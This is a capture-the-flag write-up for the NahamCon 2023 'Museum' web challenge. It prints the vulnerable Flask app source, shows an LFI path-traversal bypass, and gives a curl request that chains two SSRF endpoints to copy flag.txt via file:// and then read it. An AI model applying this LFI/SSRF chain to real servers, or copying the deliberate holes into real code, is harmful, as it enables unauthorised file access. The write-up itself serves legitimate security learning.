Nahamcon CTF 2023 - Web - Museum
Difficulty: medium
Points: 469
Challenge
The first part of this challenge was completed by my great teammates from Hacktback team.
Solution
The site consists of a gallery of museum art. A button invites you to submit to the museum, but the activity seems to be disabled. You can also view the museum’s pieces, such as this magnificent cat sculpture.
After several minutes of searching, my teammates found a first very interesting vulnerability. A Local File Inclusion (LFI) is possible in the artifact parameter!
However, this LFI does not allow us to retrieve flag.txt. A filter prevents this. Let’s look for other interesting files. The file /proc/self/cmdline gives us information about the server, including the location of the source code file: /home/museum/app.py
Once again, LFI provides us with the source code for challenge app.py
from flask import Flask, request, render_template, send_from_directory, send_file, redirect, url_for
import os
import urllib
import urllib.request
app = Flask(__name__)
@app.route('/')
def index():
artifacts = os.listdir(os.path.join(os.getcwd(), 'public'))
return render_template('index.html', artifacts=artifacts)
@app.route("/public/<file_name>")
def public_sendfile(file_name):
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return "Error retrieving file", 404
return send_file(file_path)
@app.route('/browse', methods=['GET'])
def browse():
file_name = request.args.get('artifact')
if not file_name:
return "Please specify the artifact to view.", 400
artifact_error = "<h1>Artifact not found.</h1>"
if ".." in file_name:
return artifact_error, 404
if file_name[0] == '/' and file_name[1].isalpha():
return artifact_error, 404
file_path = os.path.join(os.getcwd(), "public", file_name)
if not os.path.isfile(file_path):
return artifact_error, 404
if 'flag.txt' in file_path:
return "Sorry, sensitive artifacts are not made visible to the public!", 404
with open(file_path, 'rb') as f:
data = f.read()
image_types = ['jpg', 'png', 'gif', 'jpeg']
if any(file_name.lower().endswith("." + image_type) for image_type in image_types):
is_image = True
else:
is_image = False
return render_template('view.html', data=data, filename=file_name, is_image=is_image)
@app.route('/submit')
def submit():
return render_template('submit.html')
@app.route('/private_submission_fetch', methods=['GET'])
def private_submission_fetch():
url = request.args.get('url')
if not url:
return "URL is required.", 400
response = submission_fetch(url)
return response
def submission_fetch(url, filename=None):
return urllib.request.urlretrieve(url, filename=filename)
@app.route('/private_submission')
def private_submission():
if request.remote_addr != '127.0.0.1':
return redirect(url_for('submit'))
url = request.args.get('url')
file_name = request.args.get('filename')
if not url or not file_name:
return "Please specify a URL and a file name.", 400
try:
submission_fetch(url, os.path.join(os.getcwd(), 'public', file_name))
except Exception as e:
return str(e), 500
return "Submission received.", 200
if __name__ == '__main__':
app.run(debug=False, host="0.0.0.0", port=5000)
Two new endpoints catch our attention:
- /private_submission_fetch
- /private_submission
These endpoints are used to force the server to make HTTP requests. This is a new Server Side Request Forgery (SSRF) vulnerability.
/private_submission_fetch
This endpoint can be used to force the user to make a request to the outside world. You can check that this is a SSRF by creating a requestbin.
/private_submission
This endpoint is similar to the previous one, but there are two differences: The return request will be saved on the server at the location given by the filename parameter. The request must absolutely come from the local IP address 127.0.0.1. It is therefore impossible to call it directly.
Exploit
You’ll need to combine these two endpoints to retrieve the contents of flag.txt.

We will call /private_submission_fetch to ask the server to send a request to himself to /private_sbmission to retrieve the file /flag.txt and save it with a different name in the destination /tmp/fl4g.txt. Then we can read the flag with the LFI vulnerability. Usually flask server always run on the port 5000.
Let’s build this request:
curl http://challenge.nahamcon.com:32057/private_submission_fetch?url=http://localhost:5000/private_submission%3furl=file:///flag.txt%26filename=/tmp/fl4g.txt
We got it now !
